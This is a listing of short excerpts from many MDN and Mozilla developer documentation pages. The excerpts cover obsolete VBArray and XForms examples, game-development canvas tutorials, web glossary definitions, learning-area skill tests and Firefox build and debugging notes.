...ray); for (i = 0; i <= 2; i++) { for (j =0; j <= 2; j++) { document.writeln(a.getitem(i, j)); } } } --> </script> </head> <body> <script type="text/javascript"> <!-- getitemtest(createvbarray()); --> </script> </body> requirements supported in the following document modes: quirks, internet explorer 6 standards, internet explorer 7 standards, internet explorer 8 standards, internet explorer 9 standards, and internet explorer 10 standards.
VBArray.toArray - Archive of obsolete content
<head> <script type="text/vbscript"> <!-- function createvbarray() dim i, j, k dim a(2, 2) k = 1 for i = 0 to 2 for j = 0 to 2 a(j, i) = k document.writeln(k) k = k + 1 next document.writeln("<br>") next createvbarray = a end function --> </script> <script type="text/javascript"> <!-- function vbarraytest(vbarray) { var a = new vbarray(vbarray); var...
... b = a.toarray(); var i; for (i = 0; i < 9; i++) { document.writeln(b[i]); } } --> </script> </head> <body> <script type="text/javascript"> <!-- vbarraytest(createvbarray()); --> </script> </body> requirements supported in the following document modes: quirks, internet explorer 6 standards, internet explorer 7 standards, internet explorer 8 standards, internet explorer 9 standards, and internet explorer 10 standards.
VBArray - Archive of obsolete content
<head> <script type="text/vbscript"> <!-- function createvbarray() dim i, j, k dim a(2, 2) k = 1 for i = 0 to 2 for j = 0 to 2 a(j, i) = k document.writeln(k) k = k + 1 next document.writeln("<br />") next createvbarray = a end function --> </script> <script type="text/javascript"> <!-- function vbarraytest(vbarray){ var a = new vbarray(vbarray); va...
...r b = a.toarray(); var i; for (i = 0; i < 9; i++) { document.writeln(b[i]); } } --> </script> </head> <body> <script type="text/javascript"> <!-- vbarraytest(createvbarray()); --> </script> </body> properties the vbarray object has no properties.
ECMAScript 2015 support in Mozilla - Archive of obsolete content
code-named "es.next", "harmony", or "ecmascript 6", the first working draft (based on ecmascript 5.1) was published on july 12, 2011 as "es.next".
...use symbol.iterator property (firefox 36) const (js 1.5, firefox 1.0) (es2015 compliance bug 950547 implemented in firefox 51) let (js 1.7, firefox 2) (es2015 compliance bug 950547 implemented in firefox 51) destructuring assignment (js 1.7, firefox 2) (es2015 compliance bug 1055984) statements for...of (firefox 13) works in terms of .iterator() and .next() (firefox 17) use "@@iterator" property (firefox 27) use symbol.iterator property (firefox 36) functions rest parameters (firefox 15) default parameters (firefox 15) parameters without defaults after default parameters (firefox 26) destructured parameters with default value assignment (firefox 41) arrow functions (firefox 22) generator function (firefox 26) yield (firefox 26) y...
Archived JavaScript Reference - Archive of obsolete content
it's equivalent to object.observe() invoked with the accept type list ["add", "update", "delete", "splice"].
...flect.enumerate() method used to return an iterator with the enumerable own and inherited properties of the target object, but has been removed in ecmascript 2016 and is deprecated in browsers.string.prototype.quote()the non-standard quote() method returns a copy of the string, replacing various special characters in the string with their escape sequences and wrapping the result in double-quotes (").
LiveConnect - Archive of obsolete content
liveconnect use by applets is enabled via the use of the "mayscript" attribute in applet tags on an html page, following which the applet may refer to classes in the netscape.javascript package to access javascript objects, and scripts may directly call applet methods (using the syntax document.applets.name.methodname()).
...by writing code like "new java.lang.string('javascript string')" for classes in the java.* package hierarchy, or using a new "packages" object for classes outside this hierarchy).
Sharp variables in JavaScript - Archive of obsolete content
examples multiple references var a = { foo:#1=[], bar:#1# }; a.foo.push("hello"); a.bar.push("there!"); alert(a.foo[1]); // "there!" you can avoid using sharp variables by breaking the declaration up into multiple lines.
... var a = { foo:[], bar:undefined }; a.bar = a.foo; a.foo.push("hello"); a.bar.push("there!"); alert(a.foo[1]); // "there!" cyclic references sharp variables can be used to create a circularly linked list in one line of code.
background-size - Archive of obsolete content
should not the "browser compatibility" table also list google chrome and konqueror?
... if so, feel free to change the en/css_reference/property_template and all css property pages ; ) start with -webkit-background-size and investigate support of contain and cover keywords and "omitted second value" behavior.
XForms Styling - Archive of obsolete content
triggers use appearance="minimal" to be able to style buttons portability the mozilla xforms extension is one of the few xforms processors which allow for styling of the xforms elements directly, using mostly standard css.
... processors such as chiba create "old-style" html forms from xforms documents, and must be styled accordingly.
XForms Alert Element - Archive of obsolete content
examples <xforms:model> <xforms:instance> <data xmlns=""> <x>10</x> </data> </xforms:instance> <xforms:bind id="x" nodeset="x" type="xsd:integer"/> </xforms:model> <style> @namespace xforms url("http://www.w3.org/2002/xforms"); xforms|input:invalid xforms|alert.inline { display: inline; font-style: italic; width: 40%; } } </style> <xforms:input bind="x"> <xforms:label>you can type only numbers (validation happens on blur): </xfo...
...you should type only numbers!</xforms:alert> </xforms:input> <xforms:input bind="x"> <xforms:label>you can type only numbers (validation happens on blur): </xforms:label> <xforms:alert class="inline">wrong value!
XForms Select Element - Archive of obsolete content
characteristics analogous widgets are <html:select size="5" multiple="true"/> and <xul:listbox seltype="multiple"/> visual grouping by choices element isn't implemented if incremental attribute value is false, the bound node is updated when the select control is blurred (i.e.
...characteristics appearance attribute contains the value full there are no analogue widgets in xhtml or in xul visual grouping by choices element is supported if incremental attribute value is false then bound node is updated when item is blurred examples <xf:model> <xf:instance> <data xmlns=""> <values>g</values> </data> </xf:instance> </xf:model> <xf:select ref="/data/values" appearance="full"> <xf:choices> <xf:label>green colors</xf:label> <xf:item> <xf:label>pale green</xf:label> <xf:value>pg</xf:value> </xf:item> <xf:item> <xf:label>green</xf:label> <xf:value>g</xf:value> </xf:item> </xf:choices> <xf:choices> <xf:l...
XForms Submit Element - Archive of obsolete content
characteristics analogous widgets are <html:input type="submit"/> and <xul:button/> link/clickable text xforms authors can use this representation if they want to have a widget like a xhtml anchor (xhtml only).
... characteristics appearance attribute contains the value minimal analogue widget is <html:a onclick="form.submit();"/>.
XForms Switch Module - Archive of obsolete content
if multiple cases within a switch are marked as selected="true", the first selected case will appear and all others will not be visible.
...example <switch> <case id="in" selected="true"> <input ref="yourname"> <label>please tell me your name</label> <toggle ev:event="domactivate" case="out"/> </input> </case> <case id="out" selected="false"> <html:p>hello <output ref="yourname" /> <trigger id="editbutton"> <label>edit</label> <toggle ev:event="domactivate" case="in"/> </trigger> </html:p> </case> </...
Mozilla XForms User Interface - Archive of obsolete content
elements from the "form controls" group allows users to interact with instance data.
... the set of "xforms user interface" elements exist to aid form authors in combining host language markup and xforms markup together in order to build user interfaces.
Using XForms and PHP - Archive of obsolete content
to do that, you need to use the header() php function: <?php header("content-type: application/xhtml+xml; charset=utf-8"); ...
...$newnode = $dom->create_element("boo"); $root->append_child($newnode); ...
Archived open Web documentation - Archive of obsolete content
talk:background-size should not the "browser compatibility" table also list google chrome and konqueror?
... browser feature detection an experimental approach to discovering degree of support for standards css obsolete css features displaying notifications (deprecated) firefox offers support for "desktop notifications"; these are notifications that are displayed to the user outside the context of the web content, using the standard notification system provided by the operating system.
Displaying a graphic with audio samples - Archive of obsolete content
<!doctype html> <html> <head> <title>javascript spectrum example</title> </head> <body> <audio id="audio-element" src="revolve.ogg" controls="true" style="width: 512px;"> </audio> <div><canvas id="fft" width="512" height="200"></canvas></div> <img id="mozlogo" style="display:none" src="mozilla2.png"></img> <script> var canvas = document.getelementbyid('fft'), ctx = canvas.getcontext('2d'), channels, rate, framebufferlength, fft; function loadedmetadata() { ch...
... signal = new float32array(fb.length / channels), magnitude; for (var i = 0, fbl = framebufferlength / 2; i < fbl; i++ ) { // assuming interlaced stereo channels, // need to split and merge into a stero-mix mono signal signal[i] = (fb[2*i] + fb[2*i+1]) / 2; } // clear the canvas before drawing spectrum ctx.fillstyle = "rgb(0,0,0)"; ctx.fillrect (0,0, canvas.width, canvas.height); ctx.fillstyle = "rgb(255,255,255)"; for (var i = 0; i < signal.length; i++ ) { // multiply spectrum by a zoom value magnitude = signal[i] * 1000; // draw rectangle bars for each frequency bin ctx.fillrect(i * 4, canvas.height, 3, -magnitude); } ...
Game monetization - Game development
the term "pay to win" was coined and this approach is disliked by many players and devs.
... summary there are many ways to earn money — everything that applies to the "normal" aaa gaming world can be, more or less, applied to casual html5 games.
GLSL Shaders - Game development
<!doctype html> <html> <head> <meta charset="utf-8"> <title>mdn games: shaders demo</title> <style> body { margin: 0; padding: 0; font-size: 0; } canvas { width: 100%; height: 100%; } </style> <script src="three.min.js"></script> </head> <body> <script id="vertexshader" type="x-shader/x-vertex"> // vertex shader's code goes here </script> <script id="fragmentshader" type="x-shader/x-fragment"> // fragment shader's code goes h...
... final code html <script src="https://end3r.github.io/mdn-games-3d/shaders/js/three.min.js"></script> <script id="vertexshader" type="x-shader/x-vertex"> void main() { gl_position = projectionmatrix * modelviewmatrix * vec4(position.x+10.0, position.y, position.z+5.0, 1.0); } </script> <script id="fragmentshader" type="x-shader/x-fragment"> void main() { gl_fragcolor = vec4(0.0, 0.58, 0.86, 1.0); ...
Async scripts for asm.js - Game development
putting async into action getting async compilation is easy: when writing your javascript, just use the async attribute like so: <script async src="file.js"></script> or, to do the same thing via script: var script = document.createelement('script'); script.src = "file.js"; document.body.appendchild(script); (scripts created from script default to async.) the default html shell emscripten generates produces the latter.
... two common situations in which a script is *not* async (as defined by the html spec) are: <script async>code</script> and var script = document.createelement('script'); script.innerhtml = "code"; document.body.appendchild(script); both are counted as 'inline' scripts and get compiled and then run immediately.
Desktop gamepad controls - Game development
first, we need an event listener to listen for the connection of the new device: window.addeventlistener("gamepadconnected", gamepadhandler); it's executed once, so we can create some variables we will need later on for storing the controller info and the pressed buttons: var controller = {}; var buttonspressed = []; function gamepadhandler(e) { controller = e.gamepad; output.innerhtml = "gamepad: " + controller.id; } the second line in the gamepadhandler function shows up on the screen whe...
...the connect() and disconnect() functions are bound to the following events: window.addeventlistener("gamepadconnected", gamepadapi.connect); window.addeventlistener("gamepaddisconnected", gamepadapi.disconnect); they are fired when the gamepad is connected and disconnected respectively.
Mobile touch controls - Game development
pure javascript approach we could implement touch events on our own — setting up event listeners and assigning relevant functions to them would be quite straightforward: var el = document.getelementsbytagname("canvas")[0]; el.addeventlistener("touchstart", handlestart); el.addeventlistener("touchmove", handlemove); el.addeventlistener("touchend", handleend); el.addeventlistener("touchcancel", handlecancel); this way, touching the game's <canvas> on the mobile screen would emit events, and thus we could manipulate the game in any way we want (for example, moving the space ship around).
...the function touchhandler will assign proper variables to the ship's position so that we can use it for both cases: when the player touches the screen but doesn't move it (touchstart), and when the finger is moved on the screen (touchmove): document.addeventlistener("touchstart", touchhandler); document.addeventlistener("touchmove", touchhandler); the touchhandler function looks like this: function touchhandler(e) { if(e.touches) { playerx = e.touches[0].pagex - canvas.offsetleft - playerwidth / 2; playery = e.touches[0].pagey - canvas.offsettop - playerheight / 2; output.innerhtml = "touch: "+ " x: " + playerx + ", y: " + playery...
Tiles and tilemaps overview - Game development
a better way would be to create a canvas that is 2x2 tiles bigger than the visible area, so there is one tile of "bleeding" around the edges.
... an alternative method would be to split the tilemap into big sections (like a full map split into 10 x 10 chunks of tiles), pre-render each one off-canvas and then treat each rendered section as a "big tile" in combination with one of the algorithms discussed above.
Build the brick field - Game development
our code might look like this: function drawbricks() { for(var c=0; c<brickcolumncount; c++) { for(var r=0; r<brickrowcount; r++) { bricks[c][r].x = 0; bricks[c][r].y = 0; ctx.beginpath(); ctx.rect(0, 0, brickwidth, brickheight); ctx.fillstyle = "#0095dd"; ctx.fill(); ctx.closepath(); } } } again, we're looping through the rows and columns to set the x and y position of each brick, and we're also painting a brick on the canvas — size brickwidth x brickheight — with each loop iteration.
...umncount; c++) { for(var r=0; r<brickrowcount; r++) { var brickx = (c*(brickwidth+brickpadding))+brickoffsetleft; var bricky = (r*(brickheight+brickpadding))+brickoffsettop; bricks[c][r].x = brickx; bricks[c][r].y = bricky; ctx.beginpath(); ctx.rect(brickx, bricky, brickwidth, brickheight); ctx.fillstyle = "#0095dd"; ctx.fill(); ctx.closepath(); } } } actually drawing the bricks the last thing to do in this lesson is to add a call to drawbricks() somewhere in the draw() function, preferably at the beginning, between the clearing of the canvas and drawing the ball.
Finishing up - Game development
let's first add a variable to store the number of lives in the same place where we declared our other variables: var lives = 3; drawing the life counter looks almost the same as drawing the score counter — add the following function to your code, below the drawscore() function: function drawlives() { ctx.font = "16px arial"; ctx.fillstyle = "#0095dd"; ctx.filltext("lives: "+lives, canvas.width-65, 20); } instead of ending the game immediately, we will decrease the number of lives until they are no longer available.
...so, in the draw() function replace the following three lines: alert("game over"); document.location.reload(); clearinterval(interval); // needed for chrome to end game with this, we can add slightly more complex logic to it as given below: lives--; if(!lives) { alert("game over"); document.location.reload(); clearinterval(interval); // needed for chrome to end game } else { x = canvas.width/2; y = canvas.height-30; dx = 2; dy = -2; paddlex = (canvas.width-paddlewidth)/2; } now, when the ball hits the bottom edge of the screen, we're subtracting one life from the lives variable.
Track the score and win - Game development
add the following after the collisiondetection() function: function drawscore() { ctx.font = "16px arial"; ctx.fillstyle = "#0095dd"; ctx.filltext("score: "+score, 8, 20); } drawing text on a canvas is similar to drawing a shape.
...count; c++) { for(var r=0; r<brickrowcount; r++) { var b = bricks[c][r]; if(b.status == 1) { if(x > b.x && x < b.x+brickwidth && y > b.y && y < b.y+brickheight) { dy = -dy; b.status = 0; score++; if(score == brickrowcount*brickcolumncount) { alert("you win, congratulations!"); document.location.reload(); clearinterval(interval); // needed for chrome to end game } } } } } } thanks to this, your users can actually win the game when they destroy all the bricks, which is quite important when it comes to games.
Visual-js game engine - Game development
3) please read the following terms and conditions before using this application: disclaimer of warranty 'visual js' is provided "as-is" and without warranty of any kind, express, implied or otherwise, including without limitation, any warranty of merchantability or fitness for a particular purpose.
... adding new script explanation : after adding new script and save script if you have extra changes , open starter/run.js and you will found line : sys.script.load("scripts/new_script.js") ctrl+s use from menu run->choose browser for testing .
502 - MDN Web Docs Glossary: Definitions of Web-related terms
an http error code meaning "bad gateway".
..."502" means that the upstream server has returned an invalid response.
Asynchronous - MDN Web Docs Glossary: Definitions of Web-related terms
in computing, the word "asynchronous" is used in two major contexts.
...for example, the ajax (asynchronous javascript and xml) programming technique—now usually simply "ajax", even though json is usually used rather than xml in modern applications—is a mechanism that requests relatively small amounts of data from the server using http, with the result being returned when available rather than immediately.
Attribute - MDN Web Docs Glossary: Definitions of Web-related terms
an attribute always has the form name="value" (the attribute's identifier followed by its associated value).
... <input required> <!-- is the same as… --> <input required=""> <!-- or --> <input required="required"> learn more technical reference html attribute reference information about html's global attributes ...
Call stack - MDN Web Docs Glossary: Definitions of Web-related terms
if the stack takes up more space than it had assigned to it, it results in a "stack overflow" error.
... example function greeting() { // [1] some codes here sayhi(); // [2] some codes here } function sayhi() { return "hi!"; } // invoke the `greeting` function greeting(); // [3] some codes here the code above would be executed like this: ignore all functions, until it reaches the greeting() function invocation.
Compile - MDN Web Docs Glossary: Definitions of Web-related terms
sometimes, this task is also referred to as "assembling" or "build", which typically indiciates more than just compilation is done, e.g.
...the most famous, "gcc" is one example.
Doctype - MDN Web Docs Glossary: Definitions of Web-related terms
in html, the doctype is the required "<!doctype html>" preamble found at the top of all documents.
... its sole purpose is to prevent a browser from switching into so-called “quirks mode” when rendering a document; that is, the "<!doctype html>" doctype ensures that the browser makes a best-effort attempt at following the relevant specifications, rather than using a different rendering mode that is incompatible with some specifications.
Endianness - MDN Web Docs Glossary: Definitions of Web-related terms
endian and endianness (or "byte-order") describe how computers organize the bytes that make up numbers.
...big-endian is also often called "network byte order", because internet standards usually require data to be stored big-endian, starting at the standard unix socket level and going all the way up to standardized web binary data structures.
Entity - MDN Web Docs Glossary: Definitions of Web-related terms
an html entity is a piece of text ("string") that begins with an ampersand (&) and ends with a semicolon (;) .
... < &lt; interpreted as the beginning of a tag > &gt; interpreted as the ending of a tag " &quot; interpreted as the beginning and end of an attribute's value.
Falsy - MDN Web Docs Glossary: Definitions of Web-related terms
"" empty string value null null - the absence of any value undefined undefined - the primitive value nan nan - not a number objects are falsy if and only if they have the [[ishtmldda]] internal slot.
... examples examples of falsy values in javascript (which are coerced to false in boolean contexts, and thus bypass the if block): if (false) if (null) if (undefined) if (0) if (-0) if (0n) if (nan) if ("") the logical and operator, && if the first object is falsy, it returns that object false && "dog" // ↪ false 0 && "dog" // ↪ 0 specifications specification ecmascript (ecma-262)the definition of 'toboolean abstract operation' in that specification.
Fork - MDN Web Docs Glossary: Definitions of Web-related terms
basically, if the license of the original software allows, you can copy the code to develop your own version of it, with your own additions, which will be a "fork".
... learn more various "well-known" forks linux distributions node.js and io.js (which have been merged together back) libreoffice, a fork of openoffice ...
IIFE - MDN Web Docs Glossary: Definitions of Web-related terms
(function () { var aname = "barry"; })(); // variable aname is not accessible from the outside scope aname // throws "uncaught referenceerror: aname is not defined" assigning the iife to a variable stores the function's return value, not the function definition itself.
... var result = (function () { var name = "barry"; return name; })(); // immediately creates the output: result; // "barry" ...
Prefetch - MDN Web Docs Glossary: Definitions of Web-related terms
<link rel="dns-prefetch" href="https://example.com/"> link prefetching link prefetching is a performance optimization technique that works by assuming which links the user is likely to click, then downloading the content of those links.
... <link rel="prefetch" href="https://www.example.com/solutions" /> ...
TLD - MDN Web Docs Glossary: Definitions of Web-related terms
a tld is the final component of a domain name, for example, "org" in developer.mozilla.org.
... unsponsored top-level domains domains that operate directly under policies established by icann processes for the global internet community, for example "com" and "edu".
Truthy - MDN Web Docs Glossary: Definitions of Web-related terms
all values are truthy unless they are defined as falsy (i.e., except for false, 0, -0, 0n, "", null, undefined, and nan).
... examples of truthy values in javascript (which will be coerced to true in boolean contexts, and thus execute the if block): if (true) if ({}) if ([]) if (42) if ("0") if ("false") if (new date()) if (-42) if (12n) if (3.14) if (-3.14) if (infinity) if (-infinity) specifications specification ecmascript (ecma-262)the definition of 'toboolean abstract operation' in that specification.
URL - MDN Web Docs Glossary: Definitions of Web-related terms
in the context of http, urls are called "web address" or "link".
... your browser displays urls in its address bar, for example: https://developer.mozilla.org some browsers display only the part of a url after the "//", that is, the domain name.
XLink - MDN Web Docs Glossary: Definitions of Web-related terms
simple xlinks are "supported" in firefox (at least in svg and mathml), though they do not work as links if one loads a plain xml document with xlinks and attempts to click on the relevant points in the xml tree.
... for those who may have found xlink 1.0 cumbersome for regular links, xlink 1.1 drops the need to specify xlink:type="simple" for simple links.
Percent-encoding - MDN Web Docs Glossary: Definitions of Web-related terms
special characters needing encoding are: ':', '/', '?', '#', '[', ']', '@', '!', '$', '&', "'", '(', ')', '*', '+', ',', ';', '=', as well as '%' itself.
... ':' '/' '?' '#' '[' ']' '@' '!' '$' '&' "'" '(' ')' '*' '+' ',' ';' '=' '%' ' ' %3a %2f %3f %23 %5b %5d %40 %21 %24 %26 %27 %28 %29 %2a %2b %2c %3b %3d %25 %20 or + depending on the context, the character ' ' is translated to a '+' (like in the percent-encoding version used in an application/x-www-form-urlencoded message), or in '%20' like on urls.
Strict mode - MDN Web Docs Glossary: Definitions of Web-related terms
javascript's strict mode is a way to opt in to a restricted variant of javascript, thereby implicitly opting-out of "sloppy mode".
... strict mode for an entire script is invoked by including the statement "use strict"; before any other statements.
Cascade and inheritance - Learn web development
effectively, this "turns on inheritance".
... selector thousands hundreds tens ones total specificity h1 0 0 0 1 0001 h1 + p::first-letter 0 0 0 3 0003 li > a[href*="en-us"] > .inline-warning 0 0 2 2 0022 #identifier 0 1 0 0 0100 no selector, with a rule inside an element's style attribute 1 0 0 0 1000 before we move on, let's look at an example in action.
Debugging CSS - Learn web development
please contribute data for "css.shape-outside" (depth: 1) to the mdn compatibility data repository.
...being able to "reduce an issue" is a really useful skill.
Fundamental CSS comprehension - Learn web development
"general page styles" would do.
...your post should include: a descriptive title such as "assessment wanted for fundamental css comprehension".
Organizing your CSS - Learn web development
.media { display: grid; grid-template-columns: 1fr 3fr; } .media .content { font-size: .8rem; } .comment img { border: 1px solid grey; } .list-item { border-bottom: 1px solid grey; } in your html the comment would need both the media and comment classes applied: <div class="media comment"> <img /> <div class="content"></div> </div> the list-item would have media and list-item applied: <ul> <li class="media list-item"> <img /> <div class="content"></div> </li> </ul> the work that nicole sullivan did in describing this approach and promoting it means that even people who are not strictly following an oocss approach today will generally be reusing cs...
...for example, look at the classes applied to this html from the page about bem naming conventions: <form class="form form--theme-xmas form--simple"> <input class="form__input" type="text" /> <input class="form__submit form__submit--disabled" type="submit" /> </form> the additional classes are similar to those used in the oocss example, however they use the strict naming conventions of bem.
Combinators - Learn web development
for example if we want to select list items with a class of "a", which are direct children of a <ul>, i could use the following.
... ul > li[class="a"] { } take care however when creating big lists of selectors that select very specific parts of your document.
Test your skills: backgrounds and borders - Learn web development
add the "learning" tag to your post so we are able to more easily find it.
... your post should include: a descriptive title such as "assessment wanted for flexbox layout 1 skill test".
Responsive design - Learn web development
you can provide multiple sizes along with "hints" (meta data that describes the screen size and resolution the image is best suited for), and the browser will choose the most appropriate image for each device, ensuring that a user will download an image size appropriate for the device they are using.
... <meta name="viewport" content="width=device-width,initial-scale=1"> this meta tag tells mobile browsers that they should set the width of the viewport to the device width, and scale the document to 100% of its intended size, which shows the document at the mobile-optimized size that you intended.
How CSS works - Learn web development
the browser parses the fetched css, and sorts the different rules by their selector types into different "buckets", e.g.
...the span nodes are also parents, with text nodes as their children: p ├─ "let's use:" ├─ span | └─ "cascading" ├─ span | └─ "style" └─ span └─ "sheets" this is how a browser interprets the previous html snippet —it renders the above dom tree and then outputs it in the browser like so: p {margin:0;} applying css to the dom let's say we added some css to our document, to style it.
Test your skills: Basic controls - Learn web development
create a submit button inside the remaining list item, with button text of "log in".
...your post should include: a descriptive title such as "assessment wanted for basic controls 1 skill test".
Test your skills: Form structure - Learn web development
form structure 1 in this task we want you to structure the provided form features: separate out the first two and second two form fields into two distinct containers, each with a descriptive legend (use "personal details" for the first two, and "comment information" for the second two).
...your post should include: a descriptive title such as "assessment wanted for form structure 1 skill test".
Test your skills: Styling basics - Learn web development
but your css should aim to fulfill the following requirements: add some kind of lightweight "reset" to make fonts, padding, margin, and sizing more consistent to begin with.
...your post should include: a descriptive title such as "assessment wanted for styling basics 1 skill test".
Define terms with HTML - Learn web development
if you want a more formal relationship, or your definition consists of only one sentence rather than the whole paragraph, you can use the aria-describedby attribute to associate a term more formally with its definition: <p> <span id="ff"> <dfn aria-describedby="ff">firefox</dfn> is the web browser created by the mozilla foundation.
... </span> you can download it at <a href="http://www.mozilla.org">mozilla.org</a> </p> assistive technology can often use this attribute to find a text alternative to a given term.
Marking up a letter - Learn web development
there is one top level heading (the "re:" line) and three second level headings.
...your post should include: a descriptive title such as "assessment wanted for marking up a letter".
Test your skills: Advanced HTML text - Learn web development
semantically mark up "html" and "css" as acronyms, providing expansions as tooltips.
...your post should include: a descriptive title such as "assessment wanted for advanced html text 1 skill test".
Mozilla splash page - Learn web development
add the "learning" tag to your post so we are able to more easily find it.
... your post should include: a descriptive title such as "assessment wanted for mozilla splash page".
Test your skills: Events - Learn web development
events 3 in our final events-related task, you need to set an event listener on the <button>s' parent element (<div class="button-bar"> ...
...your post should include: a descriptive title such as "assessment wanted for events 1 skill test".
Test your skills: Arrays - Learn web development
finally, join the array items together in a single string called mystring, with a separator of " - ".
...your post should include: a descriptive title such as "assessment wanted for variables 1 skill test".
Adding features to our bouncing balls demo - Learn web development
implementing the score counter to implement the score counter, follow the following steps: in your html file, add a <p> element just below the <h1> element containing the text "ball count: ".
...your post should include: a descriptive title such as "assessment wanted for adding bouncing balls features".
Object building practice - Learn web development
let's bounce some balls in this article we will write a classic "bouncing balls" demo, to show you how useful objects can be in javascript.
... last of all, we use the fill() method, which basically states "finish drawing the path we started with beginpath(), and fill the area it takes up with the color we specified earlier in fillstyle." you can start testing your object out already.
Test your skills: JSON - Learn web development
the last mother cat name should have an "and" before it, and a full stop after it.
...your post should include: a descriptive title such as "assessment wanted for json skill test".
Test your skills: Object basics - Learn web development
we want you to rewrite the greeting() method so that it logs "hello, said bertie the cymric." to the browser devtools' console, but in a way that will work across any cat object of the same structure, regardless of its name or breed.
...your post should include: a descriptive title such as "assessment wanted for object basics 1 skill test".
CSS performance optimization - Learn web development
<link rel="stylesheet" href="styles.css"> <!-- blocking --> <link rel="stylesheet" href="print.css" media="print"> <!-- not blocking --> <link rel="stylesheet" href="mobile.css" media="screen and (max-width: 480px)"> <!-- not blocking on large screens --> by default the browser assumes that each specified style sheet is render blocking.
... conclusion previous overview: performance next in this module the "why" of web performance what is web performance?
HTML performance features - Learn web development
elements & attributes impacting performance the <picture> element the <video> element the <source> element the <img> srcset attribute responsive images preloading content with rel="preload" - (https://w3c.github.io/preload/ ) async / defer attributes <iframe> <object> <script> rel attribute conclusion previous overview: performance next in this module the "why" of web performance what is web performance?
... html performance features css performance features fonts and performance mobile performance focusing on performance see also the <picture> element the <video> element the <source> element the <img> srcset attribute responsive images preloading content with rel="preload" - (https://w3c.github.io/preload/ ) ...
Ember resources and troubleshooting - Learn web development
both of these try to solve the problems of mut by introducing more obvious / "less magic" concepts, avoiding build-time transforms and implicit glimmer vm behavior.
... with ember-set-helper: <checkbox @value={{this.somedata}} @ontoggle={{set this "somedata" (not this.somedata)}} /> with ember-box: {{#let (box this.somedata) as |somedata|}} <checkbox @value={{unwrap somedata}} @ontoggle={{update somedata (not this.somedata)}} /> {{/let}} note that none of these solutions are particularly common among members of the community, and as a whole, people are still trying to figure out an ergonomic and simple api for setting data in a template-only context, without backing js.
Understanding client-side web development tools - Learn web development
get started now, with our "client-side tooling overview" prerequisites you should really learn the basics of the core html, css, and javascript languages first before attempting to use the tools detailed here.
...command line crash course in your development process you'll undoubtedly be required to run some command in the terminal (or on the "command line" — these are effectively the same thing).
Learn web development
the aim of this area of mdn is not to take you from "beginner" to "expert" but to take you from "beginner" to "comfortable." from there, you should be able to start making your way, learning from the rest of mdn, and other intermediate to advanced resources that assume a lot of previous knowledge.
... random glossary entry semantics in programming, semantics refers to the meaning of a piece of code — for example "what effect does running that line of javascript have?", or "what purpose or role does that html element have" (rather than "what does it look like?".) topics covered the following is a list of all the topics we cover in the mdn learning area.
Multiprocess on Windows
one of the better pieces of documentation is a two-part series written by jeff prosise: understanding com apartments, part i understanding com apartments, part ii for the purposes of this document, "com" will refer to microsoft com (as opposed to xpcom).
... com metadata midl outputs two different types of metadata: "fast format strings" (also known as oicf) and (optionally, if a library statement is included in the idl) type libraries (also known as typelib).
Benchmarking
in particular, "gc poisoning" is used in all debug builds, and in optimized nightly builds (but not opt developer edition or beta builds).
...in about:addons > plugins, set shockwave flash to "never activate".
A bird's-eye view of the Mozilla framework
var toctree = document.getelementbyid("help-toc-panel"); the document object is a xuldocument, and toctree is thecontents panel xulelement.
... const rdf = components.classes["@mozilla.org/rdf/rdf-service;1"].getservice(components.interfaces.nsirdfservice); the components object is made available to javascript via xpconnect; it serves as a bridge connecting javascript and xpcom.
Continuous Integration
the sheriffs' role is to "keep the tree green", or in other words, to keep the code in our respositories in a good state, to the extent that the state is reflected in the output shown on treeherder.
...the "orange factor" is the average number of intermittent test failures that occur per push.
Creating a Language Pack
each time you want to generate a new binary (often called a "repack"), you need to run these two commands.
... mv -f "../../dist/l10n-stage/firefox-3.6b5pre.x-testing.mac.dmg" "../../dist/firefox-3.6b5pre.x-testing.mac.dmg" repackaging done now go to the dist directory to find your repackaged binary ready to be installed!
Creating a spell check dictionary add-on
<?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>locale-code@dictionaries.addons.mozilla.org</em:id> <em:version>version number</em:version> <em:type>64</em:type> <em:unpack>true</em:unpack> <em:name>name</em:name> <!-- other instal...
...9</em:maxversion> </description> </em:targetapplication> </description> </rdf> there are some rules about how you should adapt the install.rdf file: if you are creating a new dictionary add-on, we recommend that the em:id consists of your locale code followed by @dictionaries.addons.mozilla.org, but if there is more than one dictionary for your language (for example the german "old spelling" versus "new spelling" dictionaries), you may need to choose another id, that follows the rules of em:id.
Debugging Frame Reflow
on mac this is accomplished with: $ env dyld_library_path="`pwd`/obj-ff-dbg/dist/nightlydebug.app/contents/macos" \ ./obj-ff-dbg/dist/nightlydebug.app/contents/macos/firefox-bin > logfile.txt after loading your testcase, the log file will contain the promised information.
... log file analysis the log file for a simple table like <!doctype html public "-//w3c//dtd html 4.01 transitional//en"> <html> <head> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> </head> <body> <table width="100"> <tbody> <tr> <td>foo</td> </tr> </tbody> </table> </body> </html> will create the following log: vp 00b97c30 r=0 a=9180,4470 c=9180,4470 cnt=856 scroll 00b97ee0 r=0 a=9180,4470 c=9180,4470 cnt=857 scroll 00b97ee0 r=0 a=9180,4470 c=9180,4470 cnt=858 canvas 00b97c6c r=0 a=9180,uc c=9180,4470 cnt=859 area 02d7afe4 r=0 a=9180,uc c=9180,uc cnt=860 text 02d7b150 r=0 a=9180,uc c=uc,uc cnt=861 text 02d7b150 d=0,0 block 02d7b210 r=0 a=9180,uc c=8940,uc cnt=862 block 02d7b210 d=8940,0 area 02d7afe4 d=9180,120 ...
Debugging Table Reflow
the table layout strategy can be visualized by defining in the makefiles the constant debug_table_strategy.if one takes for instance the following table code: <table border width="300"> <colgroup> <col> <col width="50%"> <col width="1*"> <col> </colgroup> <tr> <td style="width:80px">cell 1</td> <td>cell 2</td> <td>cell 3</td> <td>cell 4</td> </tr> </table> rendering: <colgroup><col><col width="50%"><col width="1*"><col></colgroup>cell 1cell 2cell 3cell 4 it will produce the following log at the entrance of assignnonpctcolwidths: assignnonpctcolwidths ...
... **end col dump** **start col dump** colindex=3 isanonymous=0 constraint=0 widths=360 540 -1 -1 -1 -1 -1 -1 -1 360 **end col dump** ***end table dump*** the first column has already the minimum content width, the table column can't shrink below that, the desired content width of 540 twips, that's the space to layout cell 1 without wrapping the text and the 1230 which correspond to the style="width:80px" at the first cell.
Debugging
debugging a hang on os x collecting "samples" to attach to a bug.
...the debug builds have "-debug" at the end of their file names.
Building Firefox with Debug Symbols
ac_add_options --enable-debug-symbols this can optionally take an argument for the type of symbols that need to be produced (like "-g3").
